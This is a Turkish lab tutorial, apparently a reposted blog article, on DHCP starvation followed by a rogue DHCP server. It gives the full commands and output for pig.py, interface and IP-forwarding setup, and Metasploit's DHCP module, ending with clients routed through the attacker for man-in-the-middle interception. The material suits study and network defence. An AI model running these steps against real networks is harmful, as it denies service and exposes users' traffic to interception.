[ad_1]
Dynamic Host Configuration Protocol, istemcilere(client) IP Adres, Ağ Maskesi(Ağ Maskesi), DNS Sunucusu, Varsayılan Ağ Geçidi(Default Gateway) gibi ayar bilgilerini otomatik olarak sağlayan bir istemci/sunucu protokolüdür. DHCP Starvation saldırısı ile bir ağın DHCP Sunucusu’ı cevap veremez ve IP dağıtamaz hale gelebilmektedir. Hemen ardından saldırgan tarafından kurulacak olan Sahte DHCP Sunucusu ile ise ağdaki yeni istemcilerin DNS, ağ geçidi gibi adres bilgilerini saldırganın amacı doğrultusunda dağıtmak mümkün olmaktadır.
DHCP Starvation Saldırı Yöntemi:Eğer ağa fazlasıyla DHCPRequest paketi gönderildiyse saldırgan, DHCP Sunucusunu dağıtmak için ayırdığı adresleri uzun bir süre meşgul edebilmektedir. Böylece hedef alınan ağdaki istemcilerin DHCP havuzu kaynakları kullanılamaz hale gelmektedir. Bu yüzden DHCP Starvation, DOS saldırısı olarak adlandırılmaktadır.
Sahte DHCP Sunucusu: DHCP Starvation saldırısı ardından, saldırgan bir Sahte DHCP Sunucusu kurabilmekte ve ‘man in the middle’ saldırılarını düzenleyebilmektedir veya kendi makinesini varsayılan ağ geçidi olarak ayarlayıp trafiği izleyebilmektedir.
Sahte DHCP Sunucusu, saldırgan tarafından hedef ağ üzerinde kurulmuş bir DHCP Sunucusudur. Sahte DHCP Sunucuları genellikle hedef ağ üzerinde MITM, sniffing gibi saldırılar için kullanılabilmektedir.
Resim Kaynağı: http://mars.merhot.dk/mediawiki/index.php/CCNP_SWITCH/Securing_the_Campus_Infrastructure
pig.py aracıyla DHCP Starvation saldırısı yaparak ağdaki gerçek DHCP Sunucusu cevap veremez hale getirilebilmektedir. Böylece ağdaki yeni istemcilere dağıtılacak uygun ip adresi kalmamış olmaktadır. Bu saldırı türü, ağda bulunan istemcilerin uzun süreli çevrimiçi olduğu durumlarda oldukça etkili olmaktadır. Aksi takdirde saldırıyı belli aralıklarda tekrarlamak gerekmektedir.
Uygulama
İlk olarak hedef ağın Ağ Maskesi, DNS Sunucusu ve Ağ Geçidi bilgileri keşfedilir. Daha sonra arayüzü(eth0) ağda kullanılmayan bir ip adresi bularak ayarlanır. Örnek lab ortamında ağ bilgileri aşağıdaki gibidir:
- Ağ Maskesi: 255.255.255.0
- Varsayılan Yönlendirici(Router) Adresi: 10.1.10.1
root@kali:~# ifconfig eth0 10.1.10.10 netmask 255.255.255.0
|
Varsayılan Ağ Geçidi olarak kullanılacak bir alt-arayüz(alt-arayüz) oluşturulur(eth0:1).
Alt-arayüz için de kullanılmayan bir ip adresi ayarlanır. Bu arayüzü Varsayılan Yönlendirici Adresi olarak kullanacağımız için ip adresi seçiminde Varsayılan Ağ Geçidi 10.1.10.1 ise bir alt-arayüzü 10.1.10.11 olarak ayarlamak ilk bakışta daha az dikkat çekici olabilmektedir.
root@kali:~# ifconfig eth0:1 10.1.10.11 netmask 255.255.255.0 root@kali:~# ifconfig
eth0 Link encap:Ethernet HWaddr 00:00:5e:00:01:0a
inet addr:10.1.10.10 Bcast:10.255.255.255 Mask:255.0.0.0
inet6 addr: fe80::200:5eff:fe00:10a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2373 errors:0 dropped:0 overruns:0 frame:0
TX packets:3053 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:262926 (256.7 KiB) TX bytes:277272 (270.7 KiB)
eth0:1 Link encap:Ethernet HWaddr 00:00:5e:00:01:0a
inet addr:10.1.10.11 Bcast:10.1.10.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
|
Bu noktada saldırganın makinesinde ip yönlendirmeye izin verilir. (alt-arayüz ve ‘ip_forwarding’ ayarları makinenin yeniden başlaması halinde kaybolmaktadır.)
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward |
Sonraki adım olarak alt-arayüzün(eth0:1) Varsayılan Ağ Geçidiini ayarlanmalıdır. Alt-arayüzün Varsayılan Ağ Geçidi, hedef ağın gerçek Varsayılan Ağ Geçidi olarak ayarlanır(10.1.10.1). İstemciler için Varsayılan Ağ Geçidi olan Kali makinesi aynı zamanda Varsayılan Yönlendirici görevi görür.
Bunun anlamı Varsayılan Ağ Geçidi 10.1.10.11 olan istemcilerin trafiği saldırganın makinesine ulaşmaktadır. Hemen ardından ağın gerçek Varsayılan Ağ Geçidine(10.1.10.1) yönlendirilmektedir.
Bunun anlamı Varsayılan Ağ Geçidi 10.1.10.11 olan istemcilerin trafiği saldırganın makinesine ulaşmaktadır. Hemen ardından ağın gerçek Varsayılan Ağ Geçidine(10.1.10.1) yönlendirilmektedir.
root@kali:~# route add default gw 10.1.10.1 eth0:1
|
‘route -n’ komutu, yönlendirme tablosu(Route Table) ekrana yansıtılır. Destination(0.0.0.0), yeni herhangi bir trafiğin direk olarak Ağ Geçidi(10.1.10.1)’e gönderilmesini göstermektedir.
root@kali:~# route -n Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 10.1.10.1 0.0.0.0 UG 0 0 0 eth0
…
|
Terminalde farklı bir tab açılarak ‘metasploit’ başlatılır. Ardından Sahte DHCP Sunucusu ayarları yapılır.
root@kali:~# msfconsole
|
DHCP modülü başlatılır. ‘show options’ komutu ile ekrana girilmesi gereken parametreler ve açıklamaları yazdırılır.
msf > use auxiliary/server/dhcp
msf auxiliary(dhcp) > show options
Module options (auxiliary/server/dhcp):
Name Current Setting Required Description
—- ————— ——– ———–
BROADCAST no The broadcast address to send to
DHCPIPEND no The last IP to give out
DHCPIPSTART no The first IP to give out
DNSSERVER no The DNS server IP address
DOMAINNAME no The optional domain name to assign
FILENAME no The optional filename of a tftp boot server
HOSTNAME no The optional hostname to assign
HOSTSTART no The optional host integer counter
NETMASK yes The netmask of the local subnet
ROUTER no The router IP address
SRVHOST yes The IP of the DHCP server
|
DHCPIPSTART ve DHCPIPEND parametreleri Sahte DHCP Sunucusunun dağıtacağı ip aralığını belirlemektedir. Bu yüzden önceden keşfedilen ağda kullanılmayan bir ip aralığı girilmelidir.
msf auxiliary(dhcp) > set broadcast 10.1.10.255
broadcast => 10.1.10.255
msf auxiliary(dhcp) > set dhcpipend 10.1.10.199
dhcpipend => 10.1.10.199
msf auxiliary(dhcp) > set dhcpipstart 10.1.10.101
dhcpipstart => 10.1.10.101
msf auxiliary(dhcp) > set dnsserver 8.8.8.8
dnsserver => 8.8.8.8
msf auxiliary(dhcp) > set netmask 255.255.255.0
netmask => 255.255.255.0
msf auxiliary(dhcp) > set router 10.1.10.11
router => 10.1.10.11
msf auxiliary(dhcp) > set srvhost 10.1.10.10
srvhost => 10.1.10.10
|
Gerekli parametrelerin verilmesinden sonra son durum aşağıdaki gibi olmaktadır.
msf auxiliary(dhcp) > show options Module options (auxiliary/server/dhcp):
Name Current Setting Required Description
—- ————— ——– ———–
BROADCAST 10.1.10.255 no The broadcast address to send to
DHCPIPEND 10.1.10.199 no The last IP to give out
DHCPIPSTART 10.1.10.101 no The first IP to give out
DNSSERVER 8.8.8.8 no The DNS server IP address
DOMAINNAME no The optional domain name to assign
FILENAME no The optional filename of a tftp boot server
HOSTNAME no The optional hostname to assign
HOSTSTART no The optional host integer counter
NETMASK 255.255.255.0 yes The netmask of the local subnet
ROUTER 10.1.10.11 no The router IP address
SRVHOST 10.1.10.10 yes The IP of the DHCP server
|
DHCP Starvation saldırısı başlamadan önce ağdaki herhangi bir istemcinin Varsayılan Ağ Geçidi 10.1.10.1 olarak gözükmektedir.
Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5
IPv4 Address. . . . . . . . . . . : 10.1.10.203
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.1.10.1
|
Sahte DHCP Sunucusunun ayarları yapılmış ve başlatılmak için bekletilirken DHCP Starvation saldırısı başlatılır.
‘pig.py eth0:1’ komutunu çalıştırılır.
root@kali:~# pig.py eth0:1
WARNING: No route found for IPv6 destination :: (no default route?)
[ — ] [INFO] – using interface eth0:1
[DBG ] Thread 0 – (Sniffer) READY
[DBG ] Thread 1 – (Sender) READY
[—>] DHCP_Discover
[—>] DHCP_Discover
[—>] DHCP_Discover
[<—] DHCP_Offer cc:01:62:9d:00:00 0.0.0.0 IP: 10.1.10.251 for MAC=[de:ad:21:3b:c5:df]
[—>] DHCP_Request 10.1.10.251
…
|
Ardından Sahte DHCP Sunucusu başlatılır.
msf auxiliary(dhcp) > run [*] Auxiliary module execution completed
[*] Starting DHCP server…
|
Artık ağa yeni bağlanacak olan istemci, Kali makinedeki Sahte DHCP Sunucusundan ip almaktadır.
Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::9907:e380:13fe:5c6c%5
IPv4 Address. . . . . . . . . . . : 10.1.10.102
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.1.10.11
|
Bu noktadan sonra man in the middle yöntemiyle trafiği takip etmek mümkün olmaktadır.
Yazar: Barış DURKUT
[ad_2]
Source link